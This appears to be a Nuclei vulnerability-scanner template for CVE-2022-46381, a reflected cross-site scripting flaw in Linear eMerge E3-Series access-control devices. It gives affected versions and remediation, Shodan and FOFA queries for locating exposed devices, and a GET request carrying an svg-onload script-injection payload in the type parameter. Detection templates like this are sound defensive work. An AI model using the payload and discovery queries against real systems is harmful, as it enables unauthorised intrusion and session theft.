Linear eMerge E3-Series - Cross-Site Scripting

id: CVE-2022-46381

info:
  name: Linear eMerge E3-Series - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381
    - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46381
    - https://github.com/amitlttwo/CVE-2022-46381
    - https://github.com/k0mi-tg/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46381
    cwe-id: CWE-79
    epss-score: 0.01739
    epss-percentile: 0.7494
    cpe: cpe:2.3:o:niceforyou:linear_emerge_e3_access_control_firmware:0.32-07e:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: niceforyou
    product: linear_emerge_e3_access_control_firmware
    shodan-query:
      - http.html:"Linear eMerge"
      - http.html:"linear emerge"
    fofa-query: body="linear emerge"
  tags: cve,cve2022,xss,emerge,linear,niceforyou,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<svg/onload="alert(document.domain)"/>'
          - 'Badging Template'
        condition: and

      - type: status
        status:
          - 200
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